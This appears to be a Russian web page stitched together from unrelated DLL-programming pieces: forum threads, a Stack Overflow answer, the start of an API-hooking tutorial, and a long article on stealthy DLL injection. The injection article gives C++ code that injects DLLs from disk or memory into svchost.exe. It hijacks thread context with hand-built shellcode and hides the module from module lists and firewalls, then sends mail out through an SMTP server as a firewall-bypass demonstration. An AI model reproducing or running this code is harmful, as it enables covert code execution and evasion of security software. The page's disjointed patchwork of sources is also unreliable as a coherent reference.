Использование dllentrypoint


Использование DllEntryPoint в C++

В данной статье рассматриваются вопросы применения точки входа библиотеки (DllEntryPoint) в C++, а также определения версии файла самой библиотеки. Собственно определение версии является достаточно частной задачей и использовать данную технологию можно в различных сферах, таких как: модифицировать образ DLL или маппить в память образ DLL и много другого. Однако здесь мы ограничимся только получением версии.

Для начала рассмотрим точки входа (Dll Entry Point) в C++. Главное, на что стоит обратить внимание, это то, что рассматривается только случай динамической загрузки библиотеки, статическая линковка рассматриваться не будет, с ней можно провести эксперимент самостоятельно.

Точка входа (DllEntryPoint) является довольно удобным инструментом для настройки как загрузки, так и выгрузки любой библиотеки. Функция точки входа обязательно вызывается при любой загрузке и выгрузке библиотеки, тогда же она и получает три параметра — флаг причины вызова(DWORD fwdreason), дескриптор библиотеки (HINSTANCE) и детализацию вызова (LPVOID lpvReserved). Немаловажным является и то, что если не применяется VC-стиль для dll, то каждое из наименований и типов могут быть непохожими и немного отличаться.

В первую очередь дескриптор библиотеки может быть применим для вызова разнообразных функций в C++, в данном случае мы можем его применить для получения версии файла.

Значения флага загрузки могут быть различными, они же приведены ниже:

  1. DLL_PROCESS_ATTACH — при подключении к адресному пространству имеющегося процесса, что происходит в результате вызова функции LoadLibrary или запуска данного процесса;
  2. DLL_THREAD_ATTACH — этот процесс создает новый поток;
  3. DLL_PROCESS_DETACH — завершение данного процесса либо вызов FreeLibrary;
  4. DLL_THREAD_DETACH — завершение самого потока.

lpvReserved – данный параметр позволяет определить тип загрузки библиотеки, он может быть динамическим или статическим. Если параметр обладает значением NULL – значит загрузка библиотеки произошла статически и с использованием LoadLibrary/FreeLibrary, если данное значение отлично от NULL — библиотека была загружена статически. Дополнительные сведения находятся здесь:

Создание потока в DLL

В системе стартует DLL (с помощью ключей windows). То что она стартует, проверено выводом окна MessageBox. Теперь я хочу в этой DLL создать поток и пишу код:

17.11.2008, 20:54

Создание потока из DLL
Господа, подкиньте инфы о создании потока из DLL, наверняка кто-то делал подобные дллки, и может.

DLL крашит приложение при создании потока (CreateThread)
Здрасьте. Внедряю свою дллку в любой процесс и он крашится с моего потока. #include .

Создание потока из класса
Решил создать проект для работы с COM с помощью класса, на основе проекта, основанного на функциях.

Создание потока в WinAPI
Добрый день! Есть у меня консольное приложение в котором я создаю поток для связи с сервером.

Создание потока в классе
Здравствуйте. Хочу написать программу, которая бы общалась по нескольким com-портам с разными.

18.11.2008, 18:24 2 18.11.2008, 20:59 3

Все правильно, Vovan-VE прав. Но это не все.
Во первых: код создания потока надо перенести в другую функцию, процедуру инициализации надо оставить в покое.
Во вторых: эта функция (где создается поток) должна экспортироваться и видна снаружи библиотеки
В третьих: вы должны после создания потока, создать обьект события Event (к примеру) который будет сигнализировать что запущеный поток завершился (с помощью wait-функции).
В четвертых: перед завершением процедуры, выполняемой в другом потоке, нужно усановить ивент в сигнальное положение (чтоб wait-функция сработала).
Фишка в том, что если не использовать wait-функцию (или другой способ синхронизации) то созданный вами поток завершится вместе с завершением создавшей его процедуры (так как в этот момент умирает весь процесс).

Что бы все что я написал выше стало хоть немного понятнее приведу код на PowerBasic:

19.11.2008, 15:09 [ТС] 4
19.11.2008, 15:09
19.11.2008, 18:11 5
19.11.2008, 18:39 [ТС] 6

слово rundll32 вроде бы в своих постах вообще не употреблял.

Библиотеку запускаю именно так как ты сказал, ключиком реестра во все процессы.
Попробовал я запустить функцию (в том месте где запуск потока) и в этой функции создать поток, но результат тот же. Функция запускается (вывожу там MessageBox), а вот поток нет. И никак не пойму в чем дело. Кучу инфы перечитал, тщетно.

Обсуждение статьи «Руководство по написанию DLL для MQL5 на Delphi» — страница 2

Спасибо за комментарий. Думаю, что этот раздел можно расширить дополнив его наиболее популярными ошибками. Однако, чтобы не искать ошибки «долго и безуспешно» сделайте всё как написано в статье. Примеры в ней работоспособные. Кроме того, используйте отладчик в MetaEditor , он довольно приличный, с пошаговой отладкой и точками останова!

В статье я не хочу никого учить программированию. Если кто-то делает элементарные ошибки, а потом громко кричит, может ему пока не стоит создавать собственные DLL и начать учить мат часть.

Здравствуйте HideYourRichess

Какой Вы шустрый! Столько написали! Вам бы писать собственные статьи на тематику Delphi.


Постараюсь ответить кратко и по порядку:

1. Юниты SysUtils и Classes нужно было оставить в проекте.

SysUtils есть в проекте! Classes ни к чему! Обработчик исключений помимо SysUtils реализован в System который подключен по умолчанию, так что не вижу повода для беспокойств.

2. Не следует использовать в рамках DllEntryPoint (он же DllMain) всякие процедуры.

Пример с DllEntryPoint приведен в интернете на каждом углу. Это штатный способ создания событий DLL, к которым, например, можно привязать выделение и освобождение памяти из кучи. Если у Вас с этим методом работы с памятью будут реальные ошибки, готов рассмотреть.

На счёт всего остального, чего нельзя делать в DllEntryPoint, я не спорю, т.к. не часто это использую.

3. На счёт менеджера памяти Вы много писали. Выделю лишь ваш вывод :

Таким образом можно сделать так, что у DLL и приложения будет единый менеджер памяти, и это будет менеджер памяти MT4.

Проблема в том, что никто из нас не знает, как устроен менеджер памяти в MT 5( MT 4). И даже если бы мы узнали имена функций реализующий этот менеджер, как Вы собираетесь его использовать, ведь API для MT 5 закрытый! Так что идея единого менеджера MT5 и DLL это утопия.

Чтобы не путать читателей, предлагаю вместо этого использовать классический приём работы с памятью реализованный в функциях API . Об этом рассказано в статье в разделе работы со строками.

Очень рассчитываю на то, что вместо цитирования здесь книг и статей по Delphi , автору статьи будут высказаны претензии только в связи с тем, что реально не работает из того что описано в статье. Желательно с примерами.

Спасибо за комментарий. Думаю, что этот раздел можно расширить дополнив его наиболее популярными ошибками. Однако, чтобы не искать ошибки «долго и безуспешно» сделайте всё как написано в статье. Примеры в ней работоспособные. Кроме того, используйте отладчик в MetaEditor , он довольно приличный, с пошаговой отладкой и точками останова!

В статье я не хочу никого учить программированию. Если кто-то делает элементарные ошибки, а потом громко кричит, может ему пока не стоит создавать собственные DLL и начать учить мат часть.

Увы, Вы сильно заблуждаетесь. Ошибки — как элементарные так и не очень — делают не только те, кто учится программировать, но и матерые программисты.

Матчасть тут ни при чем, зато при чем средства отладки. Вспомним известную статистику «80 на 20»: 80% времени уходит на отладку, и лишь 20% на написание кода. Задача статьи, насколько я понимаю, научить написанию работоспособной DLL, т.е. не только того конкретного примера, который приведен, но и гипотетического другого кода. Разумеется, невозможно рассмотреть все потенциальные ошибки, но нужна информация, как их в принципе ловить. В противном случае, читатели не смогут ничего сделать кроме воспроизведения примера.

MetaEditor тут тоже ни при чем, т.к. мы говорим об отладке DLL, т.е. её внутренностей.

Вы автор — Вам виднее. Я всего лишь высказал свое мнение относительно некоторой незавершенности в изложении.

» Какой Вы шустрый! Столько написали! Вам бы писать собственные статьи на тематику Delphi. «

Это отрывки из старой статьи по длл для мт4, недописанной. Сюда я просто скопипастил отрывки. Это не сложно и недолго.

» SysUtils есть в проекте! Classes ни к чему! Обработчик исключений помимо SysUtils реализован в System который подключен по умолчанию, так что не вижу повода для беспокойств. «

Дело хозяйское, какие юниты включать. Но, считаю нужно обязательно указать, почему. В данном случае, SysUtils и Classes рекомендованы борландом. И на это есть причины.

» Пример с DllEntryPoint приведен в интернете на каждом углу. Это штатный способ создания событий DLL, к которым, например,»

Борланды не случайно скрыли DllMain, от шаловливых ручек. Штатный способ создания Dll в Дельфи — со скрытым DllMain. Подумайте, — почему так. И почитайте, что там сам майкрософт рекомендует.

» можно привязать выделение и освобождение памяти из кучи. Если у Вас с этим методом работы с памятью будут реальные ошибки, готов рассмотреть. «

Дело хозяйское. Но моя рекомендация состоит в том, что в DllMain вообще ничего не нужно делать.

» Проблема в том, что никто из нас не знает, как устроен менеджер памяти в MT 5( MT 4). И даже если бы мы узнали имена функций реализующий этот менеджер, как Вы собираетесь его использовать, ведь API для MT 5 закрытый! Так что идея единого менеджера MT5 и DLL это утопия. «

;-) для кого то «закрыто» и «утопия» -а у кого то «всё работает». речь о четвёрке. как в пятёрке — не смотрел.

How can i set an entrypoint for a dll

First i thought entry point in dlls DLLMain but then when i try to import it in C# i get an error that entrypoint wasn’t found Here is my code:

How can i set an entry point for my dll? And if you dont mind can you give me little explanation about entry point?

Like do i have to set import the same dll again and changing the entry point so i can use other functions in same dll? thanks in advance.


1 Answer 1

In your example, it seems you intend Test() to be an entry point however you aren’t exporting it. Even if you begin exporting it, it might not work properly with C++ name «decoration» (mangling). I’d suggest redefining your function as:

The extern «C» component will remove C++ name mangling. The __declspec(dllexport) component exports the symbol.

Edit: You can add as many entry points as you like in this manner. Calling code merely must know the name of the symbol to retrieve (and if you’re creating a static .lib, that takes care of it for you).

Усовершенствованный метод внедрения DLL

Внедрению DLL так или иначе (обычно в связи с перехватом API) посвящено достаточно большое количество статей. Но ни в одной из тех, которые я читал, не говорится, как внедрить эту DLL в чужой процесс незаметно, т.е. не храня на диске файл самой DLL, а оперируя им непосредственно в памяти.

В настоящее время широчайшую распространенность получили операционные системы семейства Windows NT/2000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а также для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Основной язык для приводимых фрагментов кода – C++, но материал актуален и для любого другого языка (Delphi, Ассемблер и т.д.). Единственное условие — язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статьи нужно хотя бы немножко знать ассемблер и С++. Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Предполагается, что читатель знаком с программированием в Visual C++, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

Данная статья актуальна только для систем Windows NT/2000/XP.

Зачем использовать DLL?

При желании можно напрямую записать весь исполняемый код в адресное пространство процесса-жертвы и запустить его функцией CreateRemoteThread. При большом желании можно добиться
того, что бы это заработало. Можно внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код, данные, ресурсы и т.д.), после чего запустить на выполнение и работать так же, как и в своем процессе. Этот метод позволяет работать во внедряемом коде с Run Time Library и применять
объектно-ориентированное программирование, к тому же сам метод чрезвычайно прост для применения. Но если внедрять весь процесс целиком, то нам придется внедрить и «лишние» процедуры, которые могут нам и не понадобиться в чужом коде. Поэтому целесообразнее внедрить отдельную DLL, которая содержит лишь необходимые функции для работы.

Основные требования к внедряемому коду:

  • Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
  • Независимость от Run Time Library.
  • Использование только библиотек, загруженных в адресное пространство целевого процесса.
  • Наличие во внедряемом коде всех необходимых для него данных.

При написании внедряемого кода следует учесть, что единственная DLL, которая обязательно должна присутствовать в адресном пространстве любого процесса — это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.

Если внедряемый код использует функции, экспортируемые библиотеками, отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в адресном пространстве целевого процесса и при необходимости загрузить их.

Допустим, нам необходимо использовать во внедряемом коде функции из wsock32.dll и kernel32.dll. Воспользуемся следующим кодом:

if(!GetModuleHandle(«wsock32.dll»))
LoadLibrary(«wsock32.dll»);
if(!GetModuleHandle(«kernel32.dll»))
LoadLibrary(«kernel32.dll»);

Для внедрения DLL обоими методами (внешней DLL и внутренней DLL) я написал класс CInjectDllEx. Этот класс содержит все необходимые процедуры для работы. Для его использования необходимо просто вызвать его процедуру StartAndInject:

BOOL StartAndInject(
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD *dwResult);

[in] lpszProcessPath — Путь к программе, которую необходимо запустить и в которую будет внедрен код Dll.

[in] bDllInMemory — Если этот параметр TRUE, то используется аргумент lpDllBuff, иначе — используется аргумент lpszDllPath.

[in] lpDllBuff — Указатель на содержимое Dll в памяти. Должен быть NULL, если параметр bDllInMemory принимает значение FALSE.

[in] lpszDllPath — Полный путь к внедряемой Dll. Должен быть NULL, если параметр bDllInMemory принимает значение TRUE.

[in] bReturnResult — Если этот параметр TRUE, то параметр dwResult используется, иначе он не используется и должен быть NULL.

[out] dwResult — Указатель на переменную, в которой будет сохранен код завершения, переданный в функцию ExitProcess в Dll. Должен быть NULL, если bReturnResult принимает значение FALSE.

Возвращаемые значения:
Эта процедура возвращает TRUE, если удалось внедрить в процесс код Dll. Иначе возвращается FALSE.

Внедрение DLL, находящейся на диске

Весьма удобен и эффективен метод внедрения в чужой код своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут обратить внимание антивирусы и фаерволлы (например Outpost Fierwall), что тоже нежелательно.

Приведем код, позволяющий внедрить внешнюю DLL в чужой процесс:

BOOL CInjectDllEx::InjectDllFromFile(PCHAR ModulePath)
<
#pragma pack(1)
struct
<
BYTE PushCommand;
DWORD PushArgument;
WORD CallCommand;
DWORD CallAddr;
BYTE PushExitThread;
DWORD ExitThreadArg;
WORD CallExitThread;
DWORD CallExitThreadAddr;
LPVOID AddrLoadLibrary;
LPVOID AddrExitThread;
CHAR LibraryName[MAX_PATH + 1];
>Inject;
#pragma pack()

LPVO > MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!Memory)
return FALSE;
DWORD Code = DWORD(Memory);
// Инициализация внедряемого кода:
Inject.PushCommand = 0x68;
Inject.PushArgument = Code + 0x1E;
Inject.CallCommand = 0x15FF;
Inject.CallAddr = Code + 0x16;
Inject.PushExitThread = 0x68;
Inject.ExitThreadArg = 0;
Inject.CallExitThread = 0x15FF;
Inject.CallExitThreadAddr = Code + 0x1A;
HMODULE hKernel32 = GetModuleHandle(«kernel32.dll»);
Inject.AddrLoadLibrary = GetProcAddress(hKernel32,»LoadLibraryA»);
Inject.AddrExitThread = GetProcAddress(hKernel32,»ExitThread»);
lstrcpy(Inject.LibraryName,ModulePath);
// Записать машинный код по зарезервированному адресу
WriteProcessMemory(Process,Memory,&Inject,sizeof(Inject),0);


// Получаем текущий контекст первичной нити процесса
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if(GetThreadContext(Thread,&Context))
<
// Изменяем контекст так, чтобы выполнялся наш код
Context.Eip = Code;
if(SetThreadContext(Thread,&Context))
<
// Запускаем нить
bResumed = ResumeThread(Thread) != (DWORD)-1;
if(bResumed)
WaitForSingleObject(Thread,INFINITE);
>
>
if(!bResumed)
<
// Выполнить машинный код
HANDLE hThread = CreateRemoteThread(Process,0,0,(LPTHREAD_START_ROUTINE)Memory,0,0,0);
if(!hThread)
return FALSE;
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
>
return TRUE;
>

Единственный аргумент данной функции – путь к внедряемой
DLL. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Обратите внимание, что в данной функции сначала предпринимается попытка запустить удаленный поток без вызова CreateRemoteThread с использованием функций GetThreadContext, SetThreadContext. Для этого мы получаем хэндл главной нити процесса, после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, а потом запускаем нить (ResumeThread). Если не удается запустить удаленный код этим методом, то просто вызывается CreateRemoteThread.

Внедрение DLL, находящейся в памяти

Существует метод, позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не обратит внимание фаерволл:

BOOL CInjectDllEx::InjectDllFromMemory(LPVOID Src)
<
#ifndef NDEBUG
return FALSE;
#endif
ImageNtHeaders = PIMAGE_NT_HEADERS(DWORD(Src) + DWORD(PIMAGE_DOS_HEADER(Src)->e_lfanew));
DWORD Offset = 0x10000000;
LPVOID pModule;
do
<
Offset += 0x10000;
pModule = VirtualAlloc(LPVOID(ImageNtHeaders->OptionalHeader.ImageBase +
Offset),ImageNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(pModule)
<
VirtualFree(pModule,0,MEM_RELEASE);
pModule = VirtualAllocEx(Process,LPVOID(ImageNtHeaders->OptionalHeader.ImageBase +
Offset),ImageNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
>
>while(!(pModule || Offset > 0x30000000));

MapLibrary(pModule,Src);
if(!_ImageBase)
return FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory(Process,pModule,_ImageBase,_ImageSize,0);
HANDLE hThread = InjectThread(DllEntryPoint, &DllLoadInfo,sizeof(DllLoadInfo));
if(hThread)
<
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return TRUE;
>
return FALSE;
>

Src — адрес образа Dll в текущем процессе. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Функции, не описанные здесь, можно найти в прилагаемых к статье файлах.

Обход фаерволла как пример применения усовершенствованного внедрения DLL

Приведем код, позволяющий отправить сообщение по
e-mail. Этот код содержится в DLL.

// Уменьшаем размер библиотеки
#ifdef NDEBUG
#pragma optimize(«gsy»,on)
#pragma comment(linker,»/IGNORE:4078″)
#pragma comment(linker,»/RELEASE»)
#pragma comment(linker,»/merge:.rdata=.data»)
#pragma comment(linker,»/merge:.text=.data»)
#pragma comment(linker,»/merge:.reloc=.data»)
#if _MSC_VER >= 1000
#pragma comment(linker,»/FILEALIGN:0x200″)
#endif
#pragma comment(linker,»/entry:DllMain»)
#endif

// Выход из программы
VOID ExitThisDll(SOCKET s,BOOL bNoError)
<
closesocket(s);
WSACleanup();
ExitProcess(bNoError);
>

// Передать запрос серверу
VOID SendRequest(SOCKET s,LPCSTR tszRequest)
<
if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
>

// Адрес получателя
LPCTSTR lpszRecipientAddress = «crash86@mail.ru»;

// Точка входа
VOID WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
<
if(!GetModuleHandle(«wsock32.dll»))
LoadLibrary(«wsock32.dll»);
if(!GetModuleHandle(«kernel32.dll»))
LoadLibrary(«kernel32.dll»);

WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);

SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
<
WSACleanup();
ExitProcess(FALSE);
>

PHOSTENT pHostEnt = gethostbyname(«smtp.mail.ru»);
if(!pHostEnt)
ExitThisDll(s,FALSE);

CHAR tszRequestAnswer[512] = «»;
ReceiveAnswer(s,tszRequestAnswer);

// Передаем привет серверу
SendRequest(s,»helo friend\r\n»);
// Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

// Говорим, от кого письмо
SendRequest(s,»mail from: \r\n»);
// Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,»rcpt to: \r\n»);
SendRequest(s,tszRequestAnswer);
// Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

// Готовим сервер к приему данных
SendRequest(s,»data\r\n»);
// Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

// Заполняем поле «Куда»
lstrcpy(tszRequestAnswer,»To: «);
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,»\r\n»);
SendRequest(s,tszRequestAnswer);

// Заполняем поле «От кого»
SendRequest(s,»From: crash86@mail.ru\r\n»);

// Тема сообщения
SendRequest(s,»Subject: Test from the article\r\n»);
SendRequest(s,»Content-Type: text/plain;\r\n charset=\»Windows-1251\»;\r\n\r\n»);

// Содержимое сообщения
SendRequest(s,»This is a test message from the article!\r\n\r\n»);
SendRequest(s,»http://hackstock2.narod.ru/\r\n»);
SendRequest(s,»mailto:crash86@mail.ru»);

// Завершаем передачу
SendRequest(s,»\r\n.\r\n»);
ReceiveAnswer(s,tszRequestAnswer);

// Выходим
SendRequest(s,»quit\r\n»);
// Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
ExitThisDll(s,TRUE);
>


Как видно из кода, сообщение отправляется SMTP-серверу smtp.mail.ru через 25-ый порт (стандартный порт отправки сообщений) с адреса crash86@mail.ru (т.е. с моего:)). Адрес получателя указан в константе lpszRecipientAddress. Полный рабочий код Вы найдете в приложениях к статье.

Внедрив данный код в один из доверенных процессов, фаерволл обнаружит факт того, что сообщение отправлено, но не выдаст никаких предупреждений. Чаще всего доверенным фаерволлу процессом является стандартный системный процесс svchost.exe. Его мы и используем:

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
<
CInjectDllEx cide;
DWORD dwResult = FALSE;

MessageBox(0,»Отправка почты с помощью DLL на диске. «,»TestExe»,MB_ICONINFORMATION);
cide.StartAndInject(«svchost.exe», FALSE,NULL, «SendMailDll.dll»,TRUE,&dwResult);
if(dwResult)
MessageBox(0,»Почта отправлена! :)», «TestExe»,MB_ICONINFORMATION);
else
MessageBox(0,»Почта не отправлена :(«, «TestExe»,MB_ICONERROR);

MessageBox(0,»Отправка почты с помощью DLL в памяти. «,
«TestExe»,MB_ICONINFORMATION);
cide.StartAndInject(«svchost.exe»,TRUE, LockResource(LoadResource(0,FindResource(0,
MAKEINTRESOURCE(IDR_SENDING_DLL), «DLL»))),NULL,TRUE,&dwResult);
if(dwResult)
MessageBox(0,»Почта отправлена! :)», «TestExe»,MB_ICONINFORMATION);
else
MessageBox(0,»Почта не отправлена :(«, «TestExe»,MB_ICONERROR);
return 0;
>

Здесь сначала внедряется DLL, находящаяся на диске, затем – в памяти.
В случае внедрения из памяти, DLL находится в ресурсах внедряющей программы.

Данный способ внедрения DLL можно использовать и для перехвата API. Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа. Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. Если вы с этим не согласны, то пожалуйста удалите статью со всех имеющихся у вас носителей информации и забудьте прочитанное.

Реализация перехвата вызовов API

Монитор. Отличное слово, правда, объединяющее в себе целую кучу понятий. Ну например впервые данное слово было применено в 1861 году к броненосцу «USS Monitor». Чуть позже данным словом стали называть дисплеи. Еще через некоторое в славную когорту мониторов вошли более привычные нам вещи, наподобие счетчиков производительности, а вместе с ними целая куча разнообразного ПО, основной задачей которого является наблюдение — то есть мониторинг.

Задача монитора проста — по сути он наблюдатель, хотя может выступать и в качестве управляющего, кстати один из вариантов перевода «Monitor» — наставник. Задачи его так же очевидны, отдавать набор данных, на основе которых можно произвести анализ ситуации и сделать соответствующие выводы.

В современном ПО мониторы встречаются практически повсеместно, ну для примера тот же Punto Switcher — классический пример легального монитора. Практически все антивирусы являются мониторами, профилировщики, ну и я уж не говорю об основном нашем инструментарии — отладчике, который так же является монитором.

С обратной стороны баррикад выступают целые кучи зловредного ПО, некоторые из которых так же предпочитают использовать мониторинг для достижения своих основных целей. Впрочем не о них сейчас…

В интернете на данный момент существует просто невероятное количество примеров программных мониторов функций, правда в большинстве случаев рассматривается перехват правкой таблицы импорта, либо установка перехватчика в начале перехватываемой функции (т.н. сплайсинг). Но не смотря на доступность этих материалов иногда они не помогают разработчикам, так как написаны слишком (скажем так) заумным языком, либо вообще представляют из себя кусок вырванного из контекста кода, непонятный для не подкованного в предметной области разработчика.

Так случилось и у меня, за последний месяц ко мне обратилось несколько человек с вопросом как правильно реализовать перехватчик и ссылки на примеры им практически не помогли, пришлось все разжевывать с нуля. Зато теперь я в курсе основных ошибок, встречающихся у людей, только начинающих разбираться с методиками перехвата.

В итоге, дабы не объяснять в следующий раз все заново, я решил сделать обзорную статью где попробую рассказать все максимально простым языком о том, «как это работает».

1. Суть монитора

Основная задача монитора любым доступным ему способом узнать о передаче управления к контролируемой им функции.

Для этого используются различные варианта перехвата вызовов оригинальной функции при помощи которых передается управление на «обработчик перехвата» (ну или «перехватчик», кому как удобнее).

Что делать с перехваченной функцией далее — зависит от реализации перехватчика. Можно вывести в лог параметры ее вызова, ну и по желанию прочие параметры, например ее результаты, состояние стека вызовов и т.п. Главное перехватить управление на себя.

Могу утверждать что вы практически гарантированно ранее сами писали перехватчики функций. Этому очень способствует концепция ООП. Любой класс, в котором вы перекрываете виртуальные или динамические методы, уже можно назвать находящимся под наблюдением вашего монитора. Ведь в действительности перекрытые через override методы являются непосредственно конечными обработчиками перехваченных функций, причем нам даже не приходится задумываться о том, как оно там внутри на самом деле работает и вызов оригинального метода у нас даже не вызовет затруднений, для этого есть штатный вызов inherited. За нас уже все сделал компилятор.

Но нам придется копнуть немного глубже. Например со статическими методами такой фокус уже не пройдет и если есть необходимость в таком перекрытии, придется все делать самостоятельно. Правда, прежде чем перейти непосредственно к мониторингу, необходимо разобраться с реализацией обработчика перехвата.

2. Правильная декларация обработчика перехвата

Прежде чем приступить к перехвату какой либо функции, необходимо точно знать параметры ее вызова и соглашение вызова. То есть если мы хотим перехватить к примеру MessageBoxA, то перехватчик, который будет работать вместо оригинальной функции, должен иметь следующий вид:

То есть параметры обработчика перехвата и соглашение вызова (stdcall/cdecl и т.п.) должны в точности совпадать с оригинальной функцией. Если этого не сделать, то практически гарантированно будет ошибка после вызова обработчика.

Правильная декларация обработчика нужна прежде всего для удобства работы. Можно конечно написать и вот такой обработчик:

Но в этом случае получать параметры вызова и производить правильную финализацию вызова с учетом соглашений и количества параметров придется самостоятельно при помощи ассемблерных вставок.

Небольшой нюанс будет с реализацией перехватчика функций/процедур, реализованных в виде методов класса.

Допустим мы перехватываем TApplication.MessageBox.
Если обработчик перехвата реализован в виде метода класса, то его декларация будет выглядеть как у оригинальной функции:

Если же перехватчик является самостоятельной функцией, то его реализация будет выглядеть немного по другому:

Такие различия в декларации обработчика обусловлены тем, что у методов класса самым первым параметром идет не явно декларируемая переменная Self.

Кстати если вы попробуете в первом перехватчике получить имя класса у данной переменной, например вот так:


… то выведется текст TApplication, а не TTestClass, т.к. параметр Self будет содержать в себе данные об оригинальном классе, а не о классе в котором реализован перехватчик.

В принципе это все что нужно знать о декларации обработчика перехвата, теперь можно приступить к рассмотрению различных способов перехвата функций.

3. Сабклассинг оконной процедуры

Я долго выбирал откуда начать техническую часть и в итоге решил остановиться на документированных методиках. Действительно, зачем изобретать очередной велосипед — проще погнуть тот, что есть.

Не думаю что для вас будет секретом то, что VCL по сути является просто оберткой над API. Большинство визуальных элементов на форме, да и сама форма является окном, у которого помимо прочих параметров присутствует оконная процедура. Если у программиста появляется задача, требующая изменения стандартного поведения окна, он применяет сабклассинг, подменяя обработчик оконной процедуры на собственный, где и реализует требуемый ему функционал.

Методика достаточно распространенная, причем при реализации собственных элементов управления в Delphi вы практически всегда встречаетесь с результатом перекрытия оконной процедуры всех ваших окон на глобальный обработчик TWinControl.MainWndProc. Это действительно достаточно удобное решение, позволяющее нам в коде перекрывать определенные сообщения через указание message + константа сообщения, работать с виртуальной WndProc и DefaultHandler и прочее…

Общее описание данного метода можно найти по данной ссылке: Subclassing a Window

Алгоритм реализации можно представить в виде пяти пунктов:

  1. получение адреса оригинальной оконной процедуры
  2. сохранение его в любом доступном для обработчика месте
  3. назначение нового обработчика оконной процедуры
  4. отработка вызова перехватчика (логирование/изменение параметров вызова и т.п.)
  5. по необходимости получение адреса старого обработчика и его вызов.

В виде кода все выглядит достаточно просто.

В данном примере подменяется оконная процедура главной формы приложения.
Адрес старой процедуры сохраняется в пользовательском буфере окна, доступ к которому осуществляется через константу GWL_USERDATA.
При вызове нового обработчика MainFormSubclassProc проверяется код сообщения. Если это сообщение о изменении размеров или координат окна, то данная возможность блокируется выставлением флагов SWP_NOSIZE и SWP_NOMOVE.
Попробуйте запустить данное приложение и нажать на кнопку после чего попытайтесь изменить размеры главной формы. У вас это не получится.

Небольшой нюанс: в данном коде нет проверки на двойное перекрытие. Если вы нажмете на кнопку второй раз, то получите ошибку о переполнении стека. Это вызвано тем что при втором перекрытии оконной процедуры, при получении адреса старой вернется тот же адрес обработчика MainFormSubclassProc и соответственно при первом же вызове CallWindowProc вы войдем в бесконечный цикл, т.к. будем вызывать сами себя, выход из которого произойдет по переполнению.

Применение: Данный вариант перехвата может применяться только для окон. Для диалогов необходимо использовать константу DWL_DLGPROC.

В итоге: в рамках концепции монитора, в качестве контролируемой функции здесь у нас выступает старая оконная процедура, в качестве монитора новый обработчик MainFormSubclassProc в котором мы следим за всеми данными приходящими к контролируемой функции. В нем мы может проводить логирование всех параметров, а так же управлять поведением старого обработчика подменяя данные перед его вызовом или вообще не вызывать его и реализовать собственное поведение.

